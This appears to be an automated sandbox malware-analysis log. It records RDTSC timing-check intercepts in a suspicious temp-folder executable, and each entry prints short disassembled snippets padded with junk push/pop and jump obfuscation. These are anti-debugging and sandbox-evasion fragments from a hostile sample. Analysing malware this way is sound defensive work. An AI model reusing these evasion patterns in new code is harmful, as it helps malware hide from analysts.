Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59BE3 second address: C59C18 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FEC30B390D7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FEC30B390CCh 0x00000011 jg 00007FEC30B390C6h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007FEC30B390C8h 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59C18 second address: C59C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C59C1E second address: C59C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5A913 second address: C5A918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5A918 second address: C5A932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FEC30B390D4h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AA96 second address: C5AA9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AA9A second address: C5AAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AEF3 second address: C5AF06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEC30BFF4D6h 0x0000000a pop ebx 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AF06 second address: C5AF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AF0A second address: C5AF0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AF0E second address: C5AF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jc 00007FEC30B390C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5AF20 second address: C5AF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30BFF4E7h 0x00000009 jmp 00007FEC30BFF4E5h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C5E3EA second address: C5E3EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C65649 second address: C6564D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6564D second address: C65656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31724 second address: C31728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31953 second address: C31986 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEC30B390D8h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEC30B390D1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31986 second address: C31A43 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEC30BFF4DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push esi 0x0000000f jmp 00007FEC30BFF4E2h 0x00000014 pop esi 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FEC30BFF4D8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov ecx, eax 0x00000032 call 00007FEC30BFF4D9h 0x00000037 jmp 00007FEC30BFF4E9h 0x0000003c push eax 0x0000003d push edi 0x0000003e jmp 00007FEC30BFF4E0h 0x00000043 pop edi 0x00000044 mov eax, dword ptr [esp+04h] 0x00000048 pushad 0x00000049 push ecx 0x0000004a pushad 0x0000004b popad 0x0000004c pop ecx 0x0000004d jmp 00007FEC30BFF4E8h 0x00000052 popad 0x00000053 mov eax, dword ptr [eax] 0x00000055 push eax 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 jg 00007FEC30BFF4D6h 0x0000005f popad 0x00000060 pop eax 0x00000061 mov dword ptr [esp+04h], eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31A43 second address: C31A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390D1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31A59 second address: C31A68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30BFF4DBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31B9F second address: C31BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31BB0 second address: C31BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31BB4 second address: C31BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C31D3C second address: C31D41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C322B0 second address: C32303 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or dword ptr [ebp+122D5B1Dh], eax 0x00000010 push 0000001Eh 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FEC30B390C8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov ecx, dword ptr [ebp+122D5B22h] 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jns 00007FEC30B390C6h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C32303 second address: C32309 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C325B8 second address: C325BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C325BF second address: C325C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C3268E second address: C32694 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C64744 second address: C6474A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6474A second address: C64756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEC30B390CCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C64D3C second address: C64D5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DCh 0x00000007 jo 00007FEC30BFF4D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jnc 00007FEC30BFF4D6h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C64D5D second address: C64D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C64D6E second address: C64D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C64F06 second address: C64F0C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6B67E second address: C6B699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC30BFF4E1h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6B824 second address: C6B882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D8h 0x00000007 jmp 00007FEC30B390D0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnl 00007FEC30B390DAh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEC30B390CAh 0x0000001c jmp 00007FEC30B390CBh 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6B882 second address: C6B888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6B9FE second address: C6BA02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6BB3C second address: C6BB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6BB42 second address: C6BB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6BCA9 second address: C6BCB3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC30BFF4F4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6BF73 second address: C6BF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007FEC30B390D1h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6BF8D second address: C6BF97 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC30BFF4E9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6BF97 second address: C6BFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390CDh 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C13A second address: C6C140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C140 second address: C6C144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C2B6 second address: C6C2BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C2BC second address: C6C2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C2C2 second address: C6C2CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FEC30BFF4D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C2CC second address: C6C306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FEC30B390D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C306 second address: C6C30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C30C second address: C6C325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FEC30B390D1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C325 second address: C6C32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C32C second address: C6C338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FEC30B390C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C338 second address: C6C33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6C33C second address: C6C342 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6CAD2 second address: C6CAD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6CAD6 second address: C6CAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C6FE68 second address: C6FE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C72057 second address: C7205C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C721E6 second address: C72205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4E8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF00FB second address: BF0104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF0104 second address: BF010E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEC30BFF4D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF010E second address: BF0112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF0112 second address: BF011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF011A second address: BF0143 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC30B390CEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FEC30B390D2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF0143 second address: BF015B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FEC30BFF4DEh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF015B second address: BF017C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEC30B390C6h 0x0000000a jmp 00007FEC30B390D6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C75C14 second address: C75C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C75C1A second address: C75C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7B743 second address: C7B747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7B747 second address: C7B74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7B74D second address: C7B757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF3722 second address: BF3732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FEC30B390C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF3732 second address: BF3741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30BFF4DBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7A392 second address: C7A3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390D7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7A3AE second address: C7A3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEC30BFF4D6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7A538 second address: C7A579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 jmp 00007FEC30B390CCh 0x0000000e pop ecx 0x0000000f jmp 00007FEC30B390CAh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEC30B390CFh 0x0000001b jmp 00007FEC30B390D0h 0x00000020 rdtsc
